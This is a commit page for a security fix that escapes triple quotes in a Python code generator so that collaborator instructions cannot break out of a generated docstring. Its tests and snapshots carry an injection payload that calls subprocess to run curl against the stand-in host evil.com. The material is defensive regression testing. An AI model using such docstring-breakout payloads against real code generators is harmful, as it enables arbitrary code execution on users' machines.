Skip to content

Commit ae1b932

Browse files
authored
fix(import): escape triple-quotes in collaborationInstruction to prevent docstring injection (#1329)
* fix(import): escape triple-quotes in collaborationInstruction to prevent docstring injection collaborationInstruction is free-form text that gets embedded inside a Python triple-quoted docstring ("""...""") in the generated main.py. Using only escapePySingleQuote left """ unescaped, allowing a malicious collaborator instruction to break out of the docstring and inject executable Python code into the generated file Fix: use escapePyTripleQuote (escapes """ and \) instead of the previous escapePySingleQuote for collaborationInstruction.
1 parent a6872ca commit ae1b932

3 files changed

Lines changed: 126 additions & 1 deletion

File tree

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html
2+
3+
exports[`LangGraphTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = `
4+
"@tool
5+
def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str:
6+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\"
7+
import subprocess; subprocess.run(["curl","evil.com"])
8+
\\"\\"\\"'}"""
9+
10+
invoke_agent_response = invoke_collab_collaborator(query)
11+
tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)])
12+
return invoke_agent_response"
13+
`;
14+
15+
exports[`LangGraphTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = `
16+
"@tool
17+
def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str:
18+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}"""
19+
20+
invoke_agent_response = invoke_collab_collaborator(query)
21+
tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)])
22+
return invoke_agent_response"
23+
`;
24+
25+
exports[`StrandsTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = `
26+
"@tool
27+
def invoke_collab(query: str) -> str:
28+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\"
29+
import subprocess; subprocess.run(["curl","evil.com"])
30+
\\"\\"\\"'}"""
31+
32+
invoke_agent_response = invoke_collab_collaborator(query)
33+
return invoke_agent_response"
34+
`;
35+
36+
exports[`StrandsTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = `
37+
"@tool
38+
def invoke_collab(query: str) -> str:
39+
"""Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}"""
40+
41+
invoke_agent_response = invoke_collab_collaborator(query)
42+
return invoke_agent_response"
43+
`;

src/cli/operations/agent/import/__tests__/translator.test.ts

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -172,6 +172,88 @@ describe('StrandsTranslator', () => {
172172
});
173173
});
174174

175+
function makeCollaboratorConfig(collaborationInstruction: string): BedrockAgentConfig {
176+
const collaboratorAgentConfig = makeSimpleAgentConfig();
177+
return makeSimpleAgentConfig({
178+
agent: {
179+
...makeSimpleAgentConfig().agent,
180+
agentCollaboration: 'SUPERVISOR_ROUTER',
181+
},
182+
collaborators: [
183+
{
184+
agent: { ...collaboratorAgentConfig.agent, agentName: 'collab-agent' },
185+
action_groups: [],
186+
knowledge_bases: [],
187+
collaborators: [],
188+
collaboratorName: 'collab',
189+
collaborationInstruction,
190+
},
191+
],
192+
});
193+
}
194+
195+
function extractToolFunction(mainPyContent: string): string {
196+
const start = mainPyContent.indexOf('@tool');
197+
const end = mainPyContent.indexOf('\n\n\n', start);
198+
return mainPyContent.slice(start, end);
199+
}
200+
201+
describe('StrandsTranslator - collaborationInstruction injection safety', () => {
202+
it('neutralizes triple-quote injection in collaborationInstruction', () => {
203+
const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""';
204+
const config = makeCollaboratorConfig(payload);
205+
const translator = new StrandsTranslator(config, {
206+
agentConfig: config,
207+
enableMemory: false,
208+
memoryOption: 'none',
209+
enableObservability: false,
210+
});
211+
const { mainPyContent } = translator.translate();
212+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
213+
});
214+
215+
it('preserves backslashes in collaborationInstruction without doubling', () => {
216+
const payload = 'C:\\path\\to\\file and regex \\d+';
217+
const config = makeCollaboratorConfig(payload);
218+
const translator = new StrandsTranslator(config, {
219+
agentConfig: config,
220+
enableMemory: false,
221+
memoryOption: 'none',
222+
enableObservability: false,
223+
});
224+
const { mainPyContent } = translator.translate();
225+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
226+
});
227+
});
228+
229+
describe('LangGraphTranslator - collaborationInstruction injection safety', () => {
230+
it('neutralizes triple-quote injection in collaborationInstruction', () => {
231+
const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""';
232+
const config = makeCollaboratorConfig(payload);
233+
const translator = new LangGraphTranslator(config, {
234+
agentConfig: config,
235+
enableMemory: false,
236+
memoryOption: 'none',
237+
enableObservability: false,
238+
});
239+
const { mainPyContent } = translator.translate();
240+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
241+
});
242+
243+
it('preserves backslashes in collaborationInstruction without doubling', () => {
244+
const payload = 'C:\\path\\to\\file and regex \\d+';
245+
const config = makeCollaboratorConfig(payload);
246+
const translator = new LangGraphTranslator(config, {
247+
agentConfig: config,
248+
enableMemory: false,
249+
memoryOption: 'none',
250+
enableObservability: false,
251+
});
252+
const { mainPyContent } = translator.translate();
253+
expect(extractToolFunction(mainPyContent)).toMatchSnapshot();
254+
});
255+
});
256+
175257
describe('LangGraphTranslator', () => {
176258
it('generates valid LangChain/LangGraph Python code for a simple agent', () => {
177259
const config = makeSimpleAgentConfig();

src/cli/operations/agent/import/base-translator.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -132,7 +132,7 @@ export abstract class BaseBedrockTranslator {
132132
this.isAcceptingRelays = collaboratorContext?.relayHistory === 'TO_COLLABORATOR';
133133
this.collaboratorDescriptions = this.collaborators.map(
134134
c =>
135-
`{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? '')}'}`
135+
`{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(c.collaborationInstruction ?? '')}'}`
136136
);
137137
this.collaboratorMap = new Map(this.collaborators.map(c => [c.collaboratorName ?? '', c]));
138138

0 commit comments

Comments
 (0)